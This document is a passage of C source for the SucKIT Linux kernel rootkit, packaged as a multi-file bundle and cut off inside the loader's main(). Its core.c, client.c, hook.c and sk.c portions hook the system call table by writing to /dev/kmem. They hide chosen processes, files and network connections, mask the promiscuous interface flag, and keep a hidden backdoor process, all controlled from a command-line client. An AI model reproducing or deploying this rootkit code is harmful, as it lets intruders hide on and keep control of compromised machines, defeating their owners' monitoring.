int strip_net(char *src, char *dest, int size, int *net_tab, int ncount)

{

char *ptr = src;

char *bline = src;

int temp;

int ret = 0;

int i;

rnext:

if (ptr >= (src + size))

goto rlast;

if ((ptr ‑ bline) > 0) {

memcpy(dest, bline, ptr ‑ bline); dest += ptr ‑ bline;

ret += ptr ‑ bline;

}

bline = ptr;

for (i = 0; i < 9; i++) {

while (*ptr == ' ') { if (ptr >= (src + size))

goto rlast;

if (*ptr == '\n')

goto rnext;

ptr++;

}

while (*ptr != ' ') { if (ptr >= (src + size))

goto rlast;

if (*ptr == '\n')

goto rnext;

ptr++;

}

if (ptr >= (src + size)) goto rlast;

}

temp = my_atoi(ptr);

while (*ptr != '\n') {

ptr++;

if (ptr >= (src + size)) goto rlast;

}

ptr++;

if (invisible_socket(temp, net_tab, ncount)) bline = ptr;

goto rnext;

rlast:

if ((ptr ‑ bline) > 0) {

memcpy(dest, bline, ptr ‑ bline); ret += ptr ‑ bline;

}

return ret;

}

#define NTSIZE 384

struct net_struc *create_net_struc(int fd)

{

int size = 0;

struct de *de = NULL;

struct net_struc *ns = NULL;

char *tmp = NULL;

int net_tab[NTSIZE];

int ncount;

int nsize;

crd("fd=%d", fd);

tmp = ualloc(PAGE_SIZE);

do {

nsize = old_read(fd, tmp, PAGE_SIZE); if (nsize < 0) { ufree(tmp, PAGE_SIZE); return NULL;

}

size += nsize;

} while (nsize == PAGE_SIZE);

ufree(tmp, PAGE_SIZE);

if (old_lseek(fd, 0, 0) != 0)

goto err;

tmp = ualloc(size);

if (!tmp)

goto err;

ns = ualloc(sizeof(struct net_struc) + size); if (!ns)

goto err;

de = ualloc(sizeof(struct de));

if (!de)

goto err;

ns‑>data_len = size;

crd("tmp=0x%x, ns=0x%x, size=%d", tmp, ns, size); ncount = create_net_tab(net_tab, NTSIZE, de, tmp); if (!ncount)

goto err;

nsize = old_read(fd, tmp, size);

if (nsize < 0)

goto err;

old_lseek(fd, 0, 0);

ns‑>len = strip_net(tmp, ns‑>dat, nsize, net_tab, ncount); ns‑>pos = 0;

ns‑>fd = fd;

ufree(tmp, size);

ufree(de, sizeof(struct de));

return ns;

err:

ufree(ns, sizeof(struct net_struc) + size); ufree(tmp, size);

ufree(de, sizeof(struct de));

return NULL;

}

static inline int destroy_net_struc(struct net_struc **net) {

if (net && *net) {

ufree(*net, (*net)‑>data_len + sizeof(struct net_struc)); *net = NULL;

return 1;

}

return 0;

}

/****************************** syscalls ! ***********************/

/* I/O with userspace */

int new_olduname(char *buf)

{

#define cmdp ((struct cmd_struc *) buf)

if (cmdp‑>id == OUR_SIGN) {

switch (cmdp‑>cmd) { case CMD_TST:

cmdp‑>num = OUR_SIGN;

strcpy(cmdp‑>buf, SUCKIT_VERSION);

return 0;

case CMD_INV:

if (hide_pid(cmdp‑>num))

return 0;

return ‑1;

case CMD_VIS:

if (unhide_pid(cmdp‑>num))

return 0;

return ‑1;

case CMD_GFL:

cmdp‑>num = our_flags;

return 0;

case CMD_SFL:

our_flags = cmdp‑>num;

return 0;

case CMD_RMV:

if (backdoor_pid)

old_kill(backdoor_pid, 9);

cmdp‑>cmd = syscall_dispatch;

cmdp‑>num = old_call_table;

return 0;

case CMD_BDR:

backdoor_pid = cmdp‑>num;

hide_pid(cmdp‑>num);

return 0;

default:

return ‑1;

}

}

return old_olduname(buf);

#undef cmdp

}

int new_fork(struct pt_regs regs)

{

struct pid_struc *parent;

int pid;

sync_pid_tab();

parent = curr_pid();

pid = old_fork(regs);

if (pid > 0) {

if ((parent) && (parent‑>hidden)) { register struct pid_struc *new; new = add_pid(pid); if (new)

new‑>hidden = 1;

}

}

return pid;

}

int new_clone(struct pt_regs regs)

{

struct pid_struc *parent;

int pid;

sync_pid_tab();

parent = curr_pid();

pid = old_clone(regs);

if (pid > 0) {

if ((parent) && (parent‑>hidden)) { register struct pid_struc *new; new = add_pid(pid); if (new)

new‑>hidden = 1;

}

}

return pid;

}

/* cache info about "bad" files (/proc/net/tcp etc) */

#define NSIZE 256

void cache_bads()

{

struct stat *buf;

char *n;

buf = ualloc(sizeof(struct stat) + NSIZE);

n = (char *) (((ulong) buf) + sizeof(struct stat)); crd("buf = 0x%x, n = 0x%x", buf, n);

if (!buf) return;

strcpy(n, BAD1);

if (old_stat(n, buf) == 0) {

bdev = buf‑>st_dev;

bad1 = buf‑>st_ino;

crd("bdev = %d, bad1 = %d", bdev, bad1); }

strcpy(n, BAD2);

if (old_stat(n, buf) == 0)

bad2 = buf‑>st_ino;

strcpy(n, BAD3);

if (old_stat(n, buf) == 0)

bad3 = buf‑>st_ino;

crd("bad2 = %d, bad3 = %d", bad2, bad3); ufree(buf, sizeof(struct stat) + NSIZE);

}

int new_open(char *path, int flags, int mode)

{

int fd;

struct stat *buf = NULL;

if (bdev == ‑1)

cache_bads();

fd = old_open(path, flags, mode);

if (fd < 0) goto err;

buf = ualloc(sizeof(struct stat));

if (!buf) {

old_close(fd);

return ‑ENOMEM;

}

if (old_fstat(fd, buf) == 0) {

if ( (buf‑>st_dev == bdev) && (buf‑>st_ino == bad1 || buf‑>st_ino == bad2 || buf‑>st_ino == bad3) ) { struct pid_struc *p; p = add_pid(old_getpid()); destroy_net_struc(&p‑>net); p‑>net = create_net_struc(fd); if (!p‑>net) {

old_close(fd);

fd = ‑ENOMEM;

goto err;

}

}

} else {

old_close(fd);

return ‑EPERM;

}

err:

ufree(buf, sizeof(struct stat));

return fd;

}

int new_read(int fd, char *buf, uint count)

{

struct pid_struc *p = curr_pid();

/* fake netinfo file ;) */

if ((p) && (p‑>net) && (p‑>net‑>fd == fd)) { if ((count + p‑>net‑>pos) > p‑>net‑>len) { count = p‑>net‑>len ‑ p‑>net‑>pos; }

crd("count (after) = %d", count); if ((p‑>net‑>pos >= p‑>net‑>len) || (count == 0)) return 0; memcpy(buf, p‑>net‑>dat + p‑>net‑>pos, count); p‑>net‑>pos += count;

return count;

}

return old_read(fd, buf, count);

}

int new_close(int fd)

{

struct pid_struc *p = curr_pid();

if ((p) && (p‑>net) && (p‑>net‑>fd == fd)) { destroy_net_struc(&p‑>net);

}

return old_close(fd);

}

int new_kill(int pid, int sig)

{

struct pid_struc *p;

int t = pid;

if (pid < ‑1)

t = ‑pid;

p = find_pid(t);

if ((p) && (p‑>hidden)) {

register int cpid = old_getpid(); if (cpid == 1) goto ok;

p = find_pid(cpid);

if ((p) && (p‑>hidden)) goto ok; return ‑ESRCH;

}

ok:

return old_kill(pid, sig);

}

int is_hidden(char *s, uint inode)

{

int c = 0;

struct pid_struc *p;

if (!HIDE_PROCS) return 0;

while (*s) {

if ((*s < '0') || (*s > '9')) return 0;

c = c * 10 + (*s++) ‑ '0';

}

if (((inode ‑ 2) / 65536) != c) return 0;

p = find_pid(c);

if (!p)

return 0;

if (p‑>hidden)

return 1;

return 0;

}

/* this strips "hidden" files and pid's from /proc listening */

int new_getdents(uint fd, struct de *dirp, int count)

{

struct de *dbuf = NULL;

struct de *prev = NULL;

char register *ptr;

char *cpy;

int oldlen, newlen;

int hslen = strlen(cfg.hs);

oldlen = newlen = old_getdents(fd, dirp, count); if (oldlen <= 0)

goto outta;

cpy = ptr = ualloc(oldlen);

if (!ptr)

return ‑ENOMEM;

dbuf = (struct de *) cpy;

memcpy(ptr, dirp, oldlen);

memset(dirp, 0, oldlen);

#define dp ((struct de *) ptr)

while ((ulong) ptr < (ulong) dbuf + oldlen) { int register size = dp‑>d_reclen; int zlen = strlen(dp‑>d_name); if (is_hidden(dp‑>d_name, dp‑>d_ino) || (HIDE_FILES && (zlen >= hslen) && (!strcmp(cfg.hs, &dp‑>d_name[zlen ‑ hslen]))) ) { if (!prev) {

newlen ‑= size;

cpy += size;

} else {

prev‑>d_reclen += size;

memset(dp, 0, size);

}

} else {

prev = dp;

}

ptr += size;

}

if (newlen) memcpy(dirp, cpy, newlen);

outta:

ufree(dbuf, oldlen);

return newlen;

#undef dp

}

/* this strips "hidden" files and pid's from /proc listening */

int new_getdents64(uint fd, struct de64 *dirp, int count) {

struct de64 *dbuf = NULL;

struct de64 *prev = NULL;

char register *ptr;

char *cpy;

int oldlen, newlen;

int hslen = strlen(cfg.hs);

oldlen = newlen = old_getdents64(fd, dirp, count); if (oldlen <= 0)

goto outta;

cpy = ptr = ualloc(oldlen);

if (!ptr)

return ‑ENOMEM;

dbuf = (struct de64 *) cpy;

memcpy(ptr, dirp, oldlen);

memset(dirp, 0, oldlen);

#define dp ((struct de64 *) ptr)

while ((ulong) ptr < (ulong) dbuf + oldlen) { int register size = dp‑>d_reclen; int zlen = strlen(dp‑>d_name); if (is_hidden(dp‑>d_name, dp‑>d_ino) || (HIDE_FILES && (zlen >= hslen) && (!strcmp(cfg.hs, &dp‑>d_name[zlen ‑ hslen]))) ) { if (!prev) {

newlen ‑= size;

cpy += size;

} else {

prev‑>d_reclen += size;

memset(dp, 0, size);

}

} else {

prev = dp;

}

ptr += size;

}

if (newlen) memcpy(dirp, cpy, newlen);

outta:

ufree(dbuf, oldlen);

return newlen;

#undef dp

}

/* hide the PROMISC flag */

int new_ioctl(uint fd, uint cmd, ulong arg)

{

int ret;

#define ifr ((struct ifreq *) arg)

ret = old_ioctl(fd, cmd, arg);

if (ret < 0) goto err;

if ((cmd == SIOCGIFFLAGS) && (ifr) && (ifr‑>ifr_flags & IFF_UP)) ifr‑>ifr_flags &= ~IFF_PROMISC;

err:

return ret;

}

#endif

<‑‑> ./src/core.c

<++> ./src/client.c

/* $Id: client.c, stuff between user <=> kernel */

#ifndef CLIENT_C

#define CLIENT_C

#include "io.c"

#include "string.c"

#include "vsprintf.c"

#include "config.c"

/* howto */

int usage(char *s)

{

printf(

"Usage:\n"

"%s [command] [arg]\n" "Commands:\n"

" u uninstall\n"

" t test\n"

" i <pid> make pid invisible\n" " v <pid> make pid visible (0 = all)\n" " f [0/1] toggle file hiding\n" " p [0/1] toggle proc hiding\n" "configuration:\n"

" c <hidestr> <password> <home>\n" "invoking without args will install rewtkit into memory\n" , s);

return 0;

}

/* ???! */

int skio(int cmd, struct cmd_struc *c)

{

c‑>id = OUR_SIGN;

c‑>cmd = cmd;

if (olduname(c) != 0) {

return 0;

} else {

return 1;

}

}

/* only check for us */

int fucka_is_there()

{

struct cmd_struc c;

c.cmd = CMD_TST;

c.id = OUR_SIGN;

olduname(&c);

if (c.num == OUR_SIGN) { printf("Currently installed version: %s\n", c.buf); return 1;

}

return 0;

}

/* client side */

int client(int kernel, int argc, char *argv[])

{

struct cmd_struc c;

int i;

int our_flags;

if (argc < 2) return usage(argv[0]);

if (((*(argv[1]) & 0xDF) != 'C') && (!kernel)) return usage(argv[0]);

if (kernel) skio(CMD_GFL, &c);

our_flags = c.num;

switch (*(argv[1]) & 0xDF) {

case 'C':

if (argc != 5) return (usage(argv[0])); return config(argv[0], argv[2], argv[3], argv[4]); case 'U': printf("Removing from memory..."); skio(CMD_RMV, &c); i = open(KMEM_FILE, O_WRONLY, 0); if (i < 0) {

printf("Can't open %s for writing (%d)\n",

KMEM_FILE, ‑errno);

return 1;

}

if (!wkml(i, c.cmd, c.num)) {

printf("Failed\n");

close(i);

return 1;

}

close(i); printf("OK, previous call dispatch 0x%08x at"

" 0x%08x restored.\n", c.num, c.cmd);

return 0;

case 'T':

printf("Test OK.\n"); return 0;

case 'I':

if ((argc < 3) || (sscanf(argv[2], "%d", &i) != 1))

return usage(argv[0]);

c.num = i; printf("Making pid %d invisible...", i); if (skio(CMD_INV, &c)) {

printf("OK\n");

return 0;

} printf("Failed\n"); return 1;

case 'V':

if ((argc < 3) || (sscanf(argv[2], "%d", &i) != 1))

return usage(argv[0]);

c.num = i;

if (i != 0)

printf("Making pid %d visible...", i);

else

printf("Making all pid's visible...");

if (skio(CMD_VIS, &c)) {

printf("OK\n");

return 0;

} printf("Failed\n"); return 1;

case 'F':

if (argc >= 3) {

if (!((argv[2][0] == '0') ||

(argv[2][0] == '1'))) {

return usage(argv[0]);

}

if (argv[2][0] == '0')

our_flags &= ~CMD_FLAG_HF;

else

our_flags |= CMD_FLAG_HF;

} else {

our_flags ^= CMD_FLAG_HF;

}

printf("File hiding %s...",

(our_flags & CMD_FLAG_HF) ? "ON" : "OFF");

c.num = our_flags; if (skio(CMD_SFL, &c)) {

printf("OK\n");

return 0;

} printf("Failed\n"); return 1;

case 'P':

if (argc >= 3) {

if (!((argv[2][0] == '0') ||

(argv[2][0] == '1'))) {

return usage(argv[0]);

}

if (argv[2][0] == '0')

our_flags &= ~CMD_FLAG_HP;

else

our_flags |= CMD_FLAG_HP;

} else {

our_flags ^= CMD_FLAG_HP;

}

printf("Proc hiding %s...",

(our_flags & CMD_FLAG_HP) ? "ON" : "OFF");

c.num = our_flags; if (skio(CMD_SFL, &c)) {

printf("OK\n");

return 0;

} printf("Failed\n"); return 1;

}

return usage(argv[0]);

}

#endif

<‑‑> ./src/client.c

<++> ./src/gfp.c

/* $Id: gfp.c, needs to be improved, takes care about GFP_KERNEL flag */

#ifndef GFP_C

#define GFP_C

#include "io.c"

#define NEW_GFP KMEM_FLAGS

#define OLD_GFP 0x3

/* uname struc */

struct un {

char sysname[65];

char nodename[65];

char release[65];

char version[65];

char machine[65];

char domainname[65];

};

int get_gfp()

{

struct un s;

uname(&s);

if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' ||

(s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP;

}

return OLD_GFP;

}

#endif

<‑‑> ./src/gfp.c

<++> ./src/vsprintf.c

/* $Id: vsprintf.c, modified linus' vsprintf.c, thanx to him, whatever */

#ifndef VSPRINTF_C

#define VSPRINTF_C

#define isdigit(x) ((x >= '0') && (x <= '9'))

#define isxdigit(x) (isdigit(x) || (x >= 'a' && \ x <= 'f') || (x >= 'A' && x <= 'F')) #define islower(x) ((x >= 'a') && (x <= 'z'))

#define isspace(x) (x==' ' || x=='\t' || x=='\n' \ || x=='\r' || x=='\f' || x=='\v')

#define toupper(x) (x & 0xDF)

#define do_div(n,base) ({ \

int __res; \

__res = ((unsigned long) n) % (unsigned) base; \

n = ((unsigned long) n) / (unsigned) base; \

__res; })

unsigned long simple_strtoul(const char *cp,char **endp,unsigned int base) {

unsigned long result = 0,value;

if (!base) {

base = 10;

if (*cp == '0') {

base = 8; cp++;

if ((*cp == 'x') && isxdigit(cp[1])) {

cp++;

base = 16;

}

}

}

while (isxdigit(*cp) &&

(value = isdigit(*cp) ? *cp‑'0' : toupper(*cp)‑'A'+10) < base) { result = result*base + value; cp++;

}

if (endp)

*endp = (char *)cp;

return result;

}

long simple_strtol(const char *cp,char **endp,unsigned int base) {

if(*cp=='‑')

return ‑simple_strtoul(cp+1,endp,base); return simple_strtoul(cp,endp,base);

}

unsigned long long simple_strtoull(const char *cp,char **endp,

unsigned int base)

{

unsigned long long result = 0,value;

if (!base) {

base = 10;

if (*cp == '0') {

base = 8; cp++;

if ((*cp == 'x') && isxdigit(cp[1])) {

cp++;

base = 16;

}

}

}

while (isxdigit(*cp) && (value = isdigit(*cp) ? *cp‑'0' : (islower(*cp) ? toupper(*cp) : *cp)‑'A'+10) < base) { result = result*base + value; cp++;

}

if (endp)

*endp = (char *)cp;

return result;

}

long long simple_strtoll(const char *cp,char **endp,unsigned int base) {

if(*cp=='‑')

return ‑simple_strtoull(cp+1,endp,base); return simple_strtoull(cp,endp,base);

}

static int skip_atoi(const char **s)

{

int i=0;

while (isdigit(**s))

i = i*10 + *((*s)++) ‑ '0';

return i;

}

#define ZEROPAD 1 /* pad with zero */

#define SIGN 2 /* unsigned/signed long */

#define PLUS 4 /* show plus */

#define SPACE 8 /* space if plus */

#define LEFT 16 /* left justified */

#define SPECIAL 32 /* 0x */

#define LARGE 64 /* use 'ABCDEF' instead of 'abcdef' */

static char * number(char * buf, char * end, long long num, int base, int size, int precision, int type)

{

char c,sign,tmp[66];

const char *digits;

const char small_digits[] = "0123456789abcdefghijklmnopqrstuvwxyz"; const char large_digits[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i;

digits = (type & LARGE) ? large_digits : small_digits; if (type & LEFT)

type &= ~ZEROPAD;

if (base < 2 || base > 36)

return 0;

c = (type & ZEROPAD) ? '0' : ' ';

sign = 0;

if (type & SIGN) {

if (num < 0) {

sign = '‑'; num = ‑num; size‑‑;

} else if (type & PLUS) { sign = '+'; size‑‑;

} else if (type & SPACE) { sign = ' '; size‑‑;

}

}

if (type & SPECIAL) {

if (base == 16)

size ‑= 2;

else if (base == 8) size‑‑;

}

i = 0;

if (num == 0)

tmp[i++]='0';

else while (num != 0)

tmp[i++] = digits[do_div(num,base)]; if (i > precision)

precision = i;

size ‑= precision;

if (!(type&(ZEROPAD+LEFT))) { while(size‑‑>0) {

if (buf <= end)

*buf = ' ';

++buf;

}

}

if (sign) {

if (buf <= end)

*buf = sign;

++buf;

}

if (type & SPECIAL) {

if (base==8) {

if (buf <= end)

*buf = '0';

++buf;

} else if (base==16) { if (buf <= end)

*buf = '0';

++buf;

if (buf <= end)

*buf = digits[33];

++buf;

}

}

if (!(type & LEFT)) {

while (size‑‑ > 0) { if (buf <= end)

*buf = c;

++buf;

}

}

while (i < precision‑‑) {

if (buf <= end)

*buf = '0';

++buf;

}

while (i‑‑ > 0) {

if (buf <= end)

*buf = tmp[i];

++buf;

}

while (size‑‑ > 0) {

if (buf <= end)

*buf = ' ';

++buf;

}

return buf;

}

int vsnprintf(char *buf, unsigned int size, const char *fmt, va_list args) {

int len;

unsigned long long num;

int i, base;

char *str, *end, c;

const char *s;

int flags; /* flags to number() */

int field_width; /* width of output field */

int precision; /* min. # of digits for integers; max

number of chars for from string */

int qualifier; /* 'h', 'l', or 'L' for integer fields */

/* 'z' support added 23/7/1999 S.H. */

/* 'z' changed to 'Z' ‑‑davidm 1/25/99 */

str = buf;

end = buf + size ‑ 1;

if (end < buf ‑ 1) {

end = ((void *) ‑1);

size = end ‑ buf + 1;

}

for (; *fmt ; ++fmt) {

if (*fmt != '%') {

if (str <= end)

*str = *fmt;

++str; continue;

}

/* process flags */

flags = 0;

repeat:

++fmt; /* this also skips first '%' */

switch (*fmt) {

case '‑': flags |= LEFT; goto repeat;

case '+': flags |= PLUS; goto repeat;

case ' ': flags |= SPACE; goto repeat;

case '#': flags |= SPECIAL; goto repeat;

case '0': flags |= ZEROPAD; goto repeat;

}

/* get field width */

field_width = ‑1;

if (isdigit(*fmt)) field_width = skip_atoi(&fmt); else if (*fmt == '*') { ++fmt;

/* it's the next argument */

field_width = va_arg(args, int); if (field_width < 0) {

field_width = ‑field_width;

flags |= LEFT;

}

}

/* get the precision */

precision = ‑1;

if (*fmt == '.') { ++fmt;

if (isdigit(*fmt))

precision = skip_atoi(&fmt);

else if (*fmt == '*') {

++fmt;

/* it's the next argument */

precision = va_arg(args, int);

}

if (precision < 0)

precision = 0;

}

/* get the conversion qualifier */

qualifier = ‑1;

if (*fmt == 'h' || *fmt == 'l' || *fmt == 'L' || *fmt =='Z') { qualifier = *fmt; ++fmt;

if (qualifier == 'l' && *fmt == 'l') {

qualifier = 'L';

++fmt;

}

}

/* default base */

base = 10;

switch (*fmt) {

case 'c':

if (!(flags & LEFT)) {

while (‑‑field_width > 0) {

if (str <= end)

str = ' ';

str;

}

c = (unsigned char) va_arg(args, int);

if (str <= end)

str = c;

++str;

while (‑‑field_width > 0) {

if (str <= end)

str = ' ';

str;

}

continue;

case 's':

s = va_arg(args, char *);

if (!s)

s = "<NULL>";

len = strnlen(s, precision);

if (!(flags & LEFT)) {

while (len < field_width‑‑) {

if (str <= end)

str = ' ';

str;

}

for (i = 0; i < len; ++i) {

if (str <= end)

str = *s;

str; ++s;

}

while (len < field_width‑‑) {

if (str <= end)

str = ' ';

str;

}

continue;

case 'p':

if (field_width == ‑1) {

field_width = 2*sizeof(void *);

flags |= ZEROPAD;

}

str = number(str, end,

(unsigned long) va_arg(args, void *),

16, field_width, precision, flags);

continue;

case 'n':

if (qualifier == 'l') {

long * ip = va_arg(args, long *);

ip = (str ‑ buf);

} else if (qualifier == 'Z') {

unsigned int * ip =

va_arg(args, unsigned int *);

ip = (str ‑ buf);

} else {

int * ip = va_arg(args, int *);

ip = (str ‑ buf);

}

continue;

case '%':

if (str <= end)

str = '%';

++str;

continue;

case 'o':

base = 8;

break;

case 'X':

flags |= LARGE;

case 'x':

base = 16;

break;

case 'd':

case 'i':

flags |= SIGN;

case 'u':

break;

default:

if (str <= end)

str = '%';

++str;

if (*fmt) {

if (str <= end)

str = *fmt;

str;

} else {

fmt;

}

continue;

}

if (qualifier == 'L') num = va_arg(args, long long); else if (qualifier == 'l') { num = va_arg(args, unsigned long); if (flags & SIGN)

num = (signed long) num;

} else if (qualifier == 'Z') { num = va_arg(args, unsigned int); } else if (qualifier == 'h') { num = (unsigned short) va_arg(args, int); if (flags & SIGN)

num = (signed short) num;

} else {

num = va_arg(args, unsigned int); if (flags & SIGN)

num = (signed int) num;

}

str = number(str, end, num, base,

field_width, precision, flags);

}

if (str <= end)

*str = '\0';

else if (size > 0)

*end = '\0';

return str‑buf;

}

int snprintf(char * buf, unsigned int size, const char *fmt, ...) {

va_list args;

int i;

va_start(args, fmt); i=vsnprintf(buf,size,fmt,args);

va_end(args);

return i;

}

int vsprintf(char *buf, const char *fmt, va_list args)

{

return vsnprintf(buf, 0xFFFFFFFFUL, fmt, args);

}

int sprintf(char * buf, const char *fmt, ...)

{

va_list args;

int i;

va_start(args, fmt);

i=vsprintf(buf,fmt,args);

va_end(args);

return i;

}

int vsscanf(const char * buf, const char * fmt, va_list args) {

const char *str = buf;

char *next;

int num = 0;

int qualifier;

int base;

unsigned int field_width;

int is_sign = 0;

for (; *fmt; fmt++) {

if (isspace(*fmt)) { continue;

}

if (*fmt != '%') {

if (*fmt++ != *str++)

return num;

continue;

}

++fmt;

if (*fmt == '*') { while (!isspace(*fmt))

fmt++;

while(!isspace(*str))

str++;

continue;

}

field_width = 0xffffffffUL;

if (isdigit(*fmt)) field_width = skip_atoi(&fmt);

qualifier = ‑1;

if (*fmt == 'h' || *fmt == 'l' || *fmt == 'L' || *fmt == 'Z') { qualifier = *fmt; fmt++;

}

base = 10;

is_sign = 0;

switch(*fmt) {

case 'c':

{

char *s = (char *) va_arg(args,char*); do {

*s++ = *str++;

} while(field_width‑‑ > 0); num++;

}

continue;

case 's':

{

char *s = (char *) va_arg(args, char *); while (isspace(*str))

str++;

while (!isspace(*str) && field_width‑‑) {

*s++ = *str++;

}

*s = '\0'; num++;

}

continue;

case 'n':

{

int *i = (int *)va_arg(args,int*); *i = str ‑ buf;

}

continue;

case 'o':

base = 8; break;

case 'x':

case 'X':

base = 16; break;

case 'd':

case 'i':

is_sign = 1;

case 'u':

break;

case '%':

if (*str++ != '%')

return num;

continue;

default:

return num;

}

while (isspace(*str)) str++;

switch(qualifier) {

case 'h':

if (is_sign) {

short *s = (short *) va_arg(args,short *);

*s = (short) simple_strtol(str,&next,base);

} else {

unsigned short *s =

unsigned short *)

va_arg(args, unsigned short *);

*s = (unsigned short)

simple_strtoul(str, &next, base);

}

break;

case 'l':

if (is_sign) {

long *l = (long *) va_arg(args,long *);

*l = simple_strtol(str,&next,base);

} else {

unsigned long *l = (unsigned long*)

va_arg(args,unsigned long*);

*l = simple_strtoul(str,&next,base);

}

break;

case 'L':

if (is_sign) {

long long *l = (long long*)

va_arg(args,long long *);

*l = simple_strtoll(str,&next,base);

} else {

unsigned long long *l =

unsigned long long*)

va_arg(args,unsigned long long*);

*l = simple_strtoull(str,&next,base);

}

break;

case 'Z':

{

unsigned int *s = (unsigned int*)

va_arg(args,unsigned int*);

*s = (unsigned int) simple_strtoul(str,&next,base); }

break;

default:

if (is_sign) {

int *i = (int *) va_arg(args, int*);

*i = (int) simple_strtol(str,&next,base);

} else {

unsigned int *i = (unsigned int*)

va_arg(args, unsigned int*);

*i = (unsigned int)

simple_strtoul(str,&next,base);

}

break;

}

num++;

if (!next)

break;

str = next;

}

return num;

}

int sscanf(const char * buf, const char * fmt, ...)

{

va_list args;

int i;

va_start(args,fmt);

i = vsscanf(buf,fmt,args);

va_end(args);

return i;

}

#endif

<‑‑> ./src/vsprintf.c

<++> ./src/hook.c

/* $Id: hook.c, hooking sys_call_table[] */

#ifndef HOOK_C

#define HOOK_C

/* ahh, what the heck this does ? ;)) */

int hook_syscalls(ulong *old, ulong *new, struct new_call *handlers, ulong po, ulong img) {

int hooked = 0;

memcpy(new, old, SYS_COUNT * 4);

while (handlers‑>nr) {

if ((ulong) handlers‑>handler) new[handlers‑>nr] = (ulong) handlers‑>handler; skd("Hooking syscall %d\nHandler at %x, old_handler at %x\n\n\n", handlers‑>nr, handlers‑>handler, handlers‑>old_handler); * (ulong *) ((ulong) (handlers‑>old_handler) ‑ po + img) = old[handlers‑>nr]; handlers++;

hooked++;

}

return hooked;

}

#endif

<‑‑> ./src/hook.c

<++> ./src/io.c

/* $Id: io.c, I/O magics */

#ifndef IO_C

#define IO_C

int errno;

#include <stdarg.h>

#include <linux/unistd.h>

#include <asm/stat.h>

#include "suckit.h"

#define __NR__exit __NR_exit

static inline _syscall0(int,pause);

static inline _syscall0(int,sync);

static inline _syscall3(int,write,int,fd,const char *,buf,int,count); static inline _syscall3(int,read,int,fd,char *,buf,int,count); static inline _syscall3(int,lseek,int,fd,int,offset,int,count); static inline _syscall1(int,dup,int,fd);

static inline _syscall3(int,execve,const char *,file,char **,argv, char **,envp);

static inline _syscall3(int,open,const char *,file,int,flag,int,mode); static inline _syscall1(int,close,int,fd);

static inline _syscall1(int,_exit,int,exitcode);

static inline _syscall1(int, get_kernel_syms, struct kernel_sym *, table); static inline _syscall1(int, olduname, void *, buf);

static inline _syscall1(int, uname, void *, buf);

#define __NR__fork __NR_fork

static inline _syscall0(int, _fork);

static inline _syscall1(int, unlink, char *, name);

static inline _syscall0(int, getpid);

int printf(char *fmt, ...)

{

va_list args;

int i;

char buf[2048];

va_start(args, fmt);

i = vsnprintf(buf, sizeof(buf) ‑ 1, fmt, args); return write(1, buf, i);

}

#endif

<‑‑> ./src/io.c

<++> ./src/sk.c

/* $Id: sk.c ‑ suckit, loader code */

#ifndef SK_C

#define SK_C

#include <stdarg.h>

#include <linux/unistd.h>

#include "suckit.h"

#include "string.c"

#include "vsprintf.c"

#include "io.c"

#include "main.c"

#include "loc.c"

#include "kernel.c"

#include "gfp.c"

#include "hook.c"

#include "client.c"

#include "bd.c"

#include "rc.c"

#include "core.h"

#define TMP_SIZE (64*1024)

/* [main] */

int main(int argc, char *argv[])

{

ulong page_offset;

ulong dispatch;

ulong sct;

ulong kma;

ulong punk_addr;

ulong punk_size;

uchar tmp[TMP_SIZE];

ulong *new_call_table;

ulong old_call_table[SYS_COUNT];

struct new_call *handlers;

struct obj_struc *img;

struct kma_struc kmalloc;

struct cmd_struc cmd;

int kmem, i, hooked, relocs;

int silent = 0;

/* be silent ? */

if (!strcmp(cfg.hs, &argv[0][strlen(argv[0]) ‑ strlen(cfg.hs)])) { i = open("/dev/null", O_RDWR, 0); dup2(i, 0);

dup2(i, 1);

dup2(i, 2);

close(i);

silent++;

if (fucka_is_there()) return 0;

}

/* crappy intro/help stuff */

printf("%s", BANNER);

if (!silent)

if ((i = fucka_is_there()) || (argc > 1)) { return client(i, argc, argv);

}

/* look for needed kernel addresses */

printf("Getting kernel stuff...");

sct = get_sct(&dispatch);

if (!sct) {

printf("Cannot determine where sys_call_table[] is ;(\n"); return 1;

}

page_offset = sct & 0xF0000000;

kma = get_kma(page_offset);

if (!kma) {

printf("Cannot determine where kmalloc() is ;(\n"); return 1;

}

printf("OK\n"

"page_offset : 0x%08x\n" "sys_call_table[] : 0x%08x\n" "int80h dispatch : 0x%08x\n" "kmalloc() : 0x%08x\n" "GFP_KERNEL : 0x%08x\n", page_offset,

sct,

dispatch,

kma,

get_gfp());

kmem = open(KMEM_FILE, O_RDWR, 0);

if (!rkm(kmem, sct, old_call_table, sizeof(old_call_table))) { printf("FUCK: Cannot get old sys_call_table[] at 0x%08x\n", sct);

return 1;

}

if (!rkml(kmem, sct + (PUNK * 4), &punk_addr)) { printf("FUCK: Cannot get addr of %d syscall\n", PUNK); return 1;

}

img = (void *) punk;

punk_size = * (ulong *) ((ulong) img‑>punk_size + (ulong) img);

if (punk_size > TMP_SIZE || img‑>obj_len > TMP_SIZE) { printf("FUCK: No space for syscall/image," "adjust TMP_SIZE in src/sk.c\n"); return 1;

}

if (!rkm(kmem, punk_addr, tmp, punk_size)) { printf("FUCK: Cannot save old %d syscall!\n", PUNK); return 1;

}

if (!wkm(kmem, punk_addr,

(char *) ((ulong) img‑>punk + (ulong) img), punk_size)) { printf("FUCK: Can't overwrite our victim syscall %d!\n", PUNK);

return 1;

}

/* setup stuff for kmalloc */

kmalloc.kmalloc = (void *) kma;

kmalloc.size = img‑>obj_len;

kmalloc.flags = get_gfp();

/* try to alloc ...

the most risky step of whole installation precess... */

olduname(&kmalloc);

/* restore back soon as possible */

if (!wkm(kmem, punk_addr, tmp, punk_size)) { printf("Hell! Damnit!! I can't restore syscall %d !!!\n" "I recommend you to reboot imediately!\n", PUNK); return 1;

}

if (kmalloc.mem < page_offset) { printf("Allocated memory is too low (%08x < %08x)\n", kmalloc.mem, page_offset); return 1;

}

printf(

"punk_addr : 0x%08x\n" "punk_size : 0x%08x (%d bytes)\n" "our kmem region : 0x%08x\n" "size of our kmem : 0x%08x (%d bytes)\n", punk_addr,

punk_size, punk_size, kmalloc.mem,

kmalloc.size, kmalloc.size);

/* i love this ptr math ... */

img‑>page_offset = page_offset; img‑>syscall_dispatch = dispatch; img‑>old_call_table = (ulong *) sct; memset(tmp, 0, img‑>obj_len);

memcpy(tmp, img, img‑>obj_len ‑ img‑>bss_len);

